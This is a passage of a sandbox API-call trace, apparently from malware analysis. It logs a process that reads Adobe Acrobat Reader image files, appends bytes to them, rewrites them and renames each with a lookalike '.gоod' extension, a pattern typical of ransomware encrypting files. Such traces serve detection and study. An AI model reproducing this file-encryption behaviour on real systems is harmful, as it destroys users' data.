lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0159.889] GetFileType (hFile=0x63c) returned 0x1 [0159.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0159.889] GetFileType (hFile=0x63c) returned 0x1 [0159.889] WriteFile (in: hFile=0x63c, lpBuffer=0x37c4e00*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x37c4e00*, lpNumberOfBytesWritten=0x1fdeae98*=0x7f0, lpOverlapped=0x0) returned 1 [0159.890] CloseHandle (hObject=0x63c) returned 1 [0159.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", lpFilePart=0x0) returned 0x78 [0159.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png.gоod", lpFilePart=0x0) returned 0x7d [0159.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0159.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5b83b717, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0159.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0159.891] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png.gоod")) returned 1 [0159.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0159.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0159.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x37c61c8 | out: lpFileInformation=0x37c61c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee)) returned 1 [0159.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0159.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0159.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0159.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0159.892] GetFileType (hFile=0x63c) returned 0x1 [0159.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0159.892] GetFileType (hFile=0x63c) returned 0x1 [0159.892] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0159.892] ReadFile (in: hFile=0x63c, lpBuffer=0x37c66d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x37c66d0*, lpNumberOfBytesRead=0x1fdeb028*=0xee, lpOverlapped=0x0) returned 1 [0160.024] CloseHandle (hObject=0x63c) returned 1 [0160.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0160.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.678] GetFileType (hFile=0x7dc) returned 0x1 [0160.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.678] GetFileType (hFile=0x7dc) returned 0x1 [0160.679] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x10ee [0160.679] WriteFile (in: hFile=0x7dc, lpBuffer=0x3567dc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3567dc8*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0160.679] CloseHandle (hObject=0x7dc) returned 1 [0160.679] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0160.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.679] GetFileType (hFile=0x7dc) returned 0x1 [0160.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.679] GetFileType (hFile=0x7dc) returned 0x1 [0160.679] ReadFile (in: hFile=0x7dc, lpBuffer=0x356a100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x356a100*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0160.706] CloseHandle (hObject=0x7dc) returned 1 [0160.706] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0160.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.706] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.706] GetFileType (hFile=0x7dc) returned 0x1 [0160.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.706] GetFileType (hFile=0x7dc) returned 0x1 [0160.706] WriteFile (in: hFile=0x7dc, lpBuffer=0x3568de0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3568de0*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0160.706] CloseHandle (hObject=0x7dc) returned 1 [0160.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x7b [0160.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.gоod", lpFilePart=0x0) returned 0x80 [0160.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0160.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5bffb18e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10fe)) returned 1 [0160.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0160.707] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.gоod")) returned 1 [0160.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0160.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0160.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x35e6730 | out: lpFileInformation=0x35e6730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b)) returned 1 [0160.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0160.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0160.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.708] GetFileType (hFile=0x7dc) returned 0x1 [0160.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.708] GetFileType (hFile=0x7dc) returned 0x1 [0160.708] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0160.708] ReadFile (in: hFile=0x7dc, lpBuffer=0x35e6c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x35e6c08*, lpNumberOfBytesRead=0x1fdeb028*=0xb2b, lpOverlapped=0x0) returned 1 [0160.710] CloseHandle (hObject=0x7dc) returned 1 [0160.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0160.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.710] GetFileType (hFile=0x7dc) returned 0x1 [0160.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.711] GetFileType (hFile=0x7dc) returned 0x1 [0160.711] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1b2b [0160.711] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e7f20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x35e7f20*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0160.711] CloseHandle (hObject=0x7dc) returned 1 [0160.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0160.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0160.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.711] GetFileType (hFile=0x7dc) returned 0x1 [0160.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0160.711] GetFileType (hFile=0x7dc) returned 0x1 [0160.711] ReadFile (in: hFile=0x7dc, lpBuffer=0x35ea240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x35ea240*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0161.096] CloseHandle (hObject=0x7dc) returned 1 [0161.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0161.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.096] GetFileType (hFile=0x7dc) returned 0x1 [0161.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.096] GetFileType (hFile=0x7dc) returned 0x1 [0161.096] WriteFile (in: hFile=0x7dc, lpBuffer=0x34e1fc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x34e1fc8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0161.096] CloseHandle (hObject=0x7dc) returned 1 [0161.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png", lpFilePart=0x0) returned 0x76 [0161.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png.gоod", lpFilePart=0x0) returned 0x7b [0161.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0161.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5c3b4caa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b3b)) returned 1 [0161.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0161.097] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png.gоod")) returned 1 [0161.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x81 [0161.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0161.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif"), fInfoLevelId=0x0, lpFileInformation=0x367e030 | out: lpFileInformation=0x367e030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469)) returned 1 [0161.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0161.098] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x81 [0161.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0161.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.098] GetFileType (hFile=0x7dc) returned 0x1 [0161.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0161.098] GetFileType (hFile=0x7dc) returned 0x1 [0161.098] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x469 [0161.098] ReadFile (in: hFile=0x7dc, lpBuffer=0x367e868, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x367e868*, lpNumberOfBytesRead=0x1fdeaf88*=0x469, lpOverlapped=0x0) returned 1 [0161.100] CloseHandle (hObject=0x7dc) returned 1 [0161.249] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x81 [0161.249] SetThreadErrorMode 